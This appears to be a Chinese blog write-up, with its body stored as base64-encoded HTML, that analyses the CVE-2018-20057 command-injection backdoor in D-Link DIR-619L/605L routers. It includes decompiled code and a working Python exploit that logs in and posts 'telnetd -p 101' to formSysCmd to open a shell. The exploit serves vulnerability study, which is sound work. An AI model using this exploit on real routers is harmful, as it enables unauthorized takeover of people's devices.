路由器漏洞分析系列（3）:CVE-2018-20057 后门漏洞分析及复现

PGgyIGlkPSJ0b2MtMCI+5ryP5rSe5Y6f55CGPC9oMj48cD5ELUxJTkvnmoRESVItNjE5TCBSZXYuQiAyLjA2QjHniYjmnKzkuYvliY3lkoxESVItNjA1TCBSZXYuQiAyLjEyQjHniYjmnKzkuYvliY3nmoTorr7lpIfvvIzlnKgvYmluL2JvYeaWh+S7tueahGZvcm1TeXNDbWTlh73mlbDlrZjlnKjlkI7pl6jvvIzlr7zoh7TmlLvlh7vogIXlnKjouqvku73orqTor4HlkI7lj6/ku6XpgJrov4forr/pl648YT5odHRwOi8vW2lwXS8vZ29mb3JtL2Zvcm1TeXNDbWTlubbmjIflrppzeXNDbWTlj4LmlbDvvIzku47ogIzlrp7njrDov5znqIvlkb3ku6Tms6jlhaXjgII8L2E+PC9wPjxwPuWbuuS7tuS4i+i9veWcsOWdgO+8mmZ0cDovL2Z0cDIuZGxpbmsuY29tL1BST0RVQ1RTL0RJUi02MTlML1JFVkIvPC9wPjxwPuacrOa8j+a0nueahOi3r+eUseWZqOi/kOihjOeOr+Wig+S4jkNWRS0yMDE4LTIwMDU255u45ZCM44CCPC9wPjxoMiBpZD0idG9jLTEiPua8j+a0nuWIhuaekDwvaDI+PHA+5p+l55yLZ2hpZHJh5Lit55qE5Y+N57yW6K+R5Luj56CB77yM5ZyoZm9ybVN5c0NtZOS4re+8jOmmluWFiOiOt+WPlnN5c0NtZOWPguaVsO+8jOeEtuWQjumAmui/h3NucHJpbnRm5YaZ5YWl5qCI5Lit5Y+Y6YeP77yM55u05o6l6LCD55Soc3lzdGVt5Ye95pWw5omn6KGM6K+l5Y+C5pWw5YaF5a6544CCPC9wPjxkaXYgY2xhc3M9ImhpZ2hsaWdodCI+PHByZT52b2lkJm5ic3A7Zm9ybVN5c0NtZCh1bmRlZmluZWQ0Jm5ic3A7dVBhcm0xKXsKJm5ic3A7Jm5ic3A7dW5kZWZpbmVkNCZuYnNwO3VWYXIxOwombmJzcDsmbmJzcDtjaGFyJm5ic3A7KnBjVmFyMjsKJm5ic3A7Jm5ic3A7Y2hhciZuYnNwO2FjU3RhY2sxMjAmbmJzcDtbMTA0XTsKCiZuYnNwOyZuYnNwO3VWYXIxJm5ic3A7PSZuYnNwO3dlYnNHZXRWYXIodVBhcm0xLCJzdWJtaXQtdXJsIiwmREFUXzAwNGFjODc0KTsKJm5ic3A7Jm5ic3A7Ly/ojrflj5Zwb3N05Y+C5pWwc3lzQ21k77yM6K+l5Y+C5pWw5Y+v55Sx55So5oi35o6n5Yi2CiZuYnNwOyZuYnNwO3BjVmFyMiZuYnNwOz0mbmJzcDsoY2hhciZuYnNwOyopd2Vic0dldFZhcih1UGFybTEsInN5c0NtZCIsJkRBVF8wMDRhYzg3NCk7CiZuYnNwOyZuYnNwO2lmJm5ic3A7KCpwY1ZhcjImbmJzcDshPSZuYnNwOzApJm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsvL+WwhnN5c0NtZOWGmeWFpeagiOS4re+8jOW5tuiwg+eUqHN5c3RlbeaJp+ihjAombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtzbnByaW50ZihhY1N0YWNrMTIwLDEwMCwiJXMmbmJzcDsyPiYxJm5ic3A7PiZuYnNwOyVzIixwY1ZhcjIsIi90bXAvc3lzY21kLmxvZyIpOwombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtzeXN0ZW0oYWNTdGFjazEyMCk7CiZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7d2Vic1JlZGlyZWN0KHVQYXJtMSx1VmFyMSk7CiZuYnNwOyZuYnNwO3JldHVybjt9PC9wcmU+PC9kaXY+PGgyIGlkPSJ0b2MtMiI+5ryP5rSe5Yip55SoPC9oMj48cD7or6XmvI/mtJ7mmK/lnKjouqvku73orqTor4HmiJDlip/kuYvlkI7miY3lj6/lrp7njrDlkb3ku6Tms6jlhaXvvIzpnIDopoHlhYjnmbvlvZXovpPlhaXnlKjmiLflkI3lkozlj6Pku6TjgILnlLHkuo7mmK/lnKhxZW115Lit5qih5ouf5Zu65Lu277yM6YCa6L+HYXBtaWJfZ2V06K+75Y+W6Lev55Sx5Zmo5pys5Zyw6YWN572u5peg5rOV5a6e546w77yM5omA5Lul5Zyo5Yqr5oyB5LqGYXBtaWJfZ2V05Ye95pWw5LmL5ZCO77yMbG9naW7ovpPlhaXnmoTnlKjmiLflkI3lkozlr4bnoIHmmoLml7bloavkuLrnqbrjgILlnKjnnJ/mnLrkuIrmk43kvZzml7bvvIzmjaLmiJDnnJ/lrp7nmoTnlKjmiLflkI3lkozlr4bnoIHljbPlj6/jgII8L3A+PGRpdiBjbGFzcz0iaGlnaGxpZ2h0Ij48cHJlPmltcG9ydCZuYnNwO3JlcXVlc3RzaW1wb3J0Jm5ic3A7c3lzaW1wb3J0Jm5ic3A7c3RydWN0aW1wb3J0Jm5ic3A7YmFzZTY0ZnJvbSZuYnNwO3B3biZuYnNwO2ltcG9ydCZuYnNwOypjb250ZXh0KGFyY2g9J21pcHMnLGVuZGlhbj0nYmlnJyxsb2dfbGV2ZWw9J2RlYnVnJylpcD0nMTkyLjE2OC44NC4xMjkncG9ydD0xMDFkZWYmbmJzcDtsb2dpbih1c2VyLHBhc3N3b3JkKToKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cG9zdERhdGEmbmJzcDs9Jm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsnbG9naW5fbmFtZSc6JycsCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOydjdXJUaW1lJzonMTIzNCcsCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOydGSUxFQ09ERSc6JycsCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOydWRVJfQ09ERSc6JycsCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOydWRVJJRklDQVRJT05fQ09ERSc6JycsCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOydsb2dpbl9uJzp1c2VyLAombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsnbG9naW5fcGFzcyc6YmFzZTY0LmI2NGVuY29kZShwYXNzd29yZCksCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cmVzcG9uc2UmbmJzcDs9Jm5ic3A7cmVxdWVzdHMucG9zdCgnaHR0cDovLycraXArJy9nb2Zvcm0vZm9ybUxvZ2luJyxkYXRhPXBvc3REYXRhKQombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsjcHJpbnQmbmJzcDtyZXNwb25zZS51cmxkZWYmbmJzcDtzeXNjbWQoY21kKToKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cG9zdERhdGEmbmJzcDs9Jm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsnc3lzQ21kJzpjbWQsCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOydzdWJtaXQtdXJsJzonMTIzNCcsCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cmVzcG9uc2UmbmJzcDs9Jm5ic3A7cmVxdWVzdHMucG9zdCgnaHR0cDovLycraXArJy9nb2Zvcm0vZm9ybVN5c0NtZCcsZGF0YT1wb3N0RGF0YSkKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7I3ByaW50Jm5ic3A7cmVzcG9uc2UudXJsZGVmJm5ic3A7aW50ZXIoKToKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cD1yZW1vdGUoaXAscG9ydCkKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cC5pbnRlcmFjdGl2ZSgpaWYmbmJzcDtfX25hbWVfXyZuYnNwOz09Jm5ic3A7Il9fbWFpbl9fIjoKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7bG9naW4oJycsJycpI+i/memHjOimgeWGmeWunumZheeahOeUqOaIt+WQjeWSjOWvhuegge+8jOS+i+WmgmFkbWluJm5ic3A7MTIzNDUKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7c3lzY21kKCd0ZWxuZXRkJm5ic3A7LXAmbmJzcDsnK3N0cihwb3J0KSkKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7aW50ZXIoKTwvcHJlPjwvZGl2PjxwPuWPpueUseS6jnFlbXXmqKHmi5/ml7bvvIwvZGV25LiL5rKh5pyJcHR56K6+5aSH77yM5a+86Ie0dGVsbmV06L+e5o6l5LiN6IO95a6e546w77yM5L2G5piv56uv5Y+j5piv5bey57uP5omT5byA5LqG77yaPGJyLz48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMjQyNS85MWZiMjY3ZDhlNzU3ZDBmNDBjMzg4ZGZkMTYwODM2Mi5wbmciLz48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMjQyNS8zZTMyMzdjMjRiYTUxMDRkY2UxOGE3MTQwOTE4Yzc5Yi5wbmciLz48L3A+PHA+5pyJ55yf5py655qE5biI5YKF5Lus5Y+v5Lul6K+V5LiA5LiL44CCPC9wPjxoMiBpZD0idG9jLTMiPuWPguiAg+mTvuaOpTwvaDI+PHA+PGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL1dob29BbWlpL3dob29hbWlpLmdpdGh1Yi5pby9ibG9iL21hc3Rlci8yMDE4L0RJUi02MTklMjBjb21tYW5kJTIwZXhlY3V0aW9uLm1kIiB0YXJnZXQ9Il9ibGFuayI+aHR0cHM6Ly9naXRodWIuY29tL1dob29BbWlpL3dob29hbWlpLmdpdGh1Yi5pby9ibG9iL21hc3Rlci8yMDE4L0RJUi02MTklMjBjb21tYW5kJTIwZXhlY3V0aW9uLm1kPC9hPjwvcD48cD48YnIvPjwvcD48cD7ovazoh6rlhYjnn6XnpL7ljLo8YnIvPjwvcD48cD48YnIvPjwvcD4=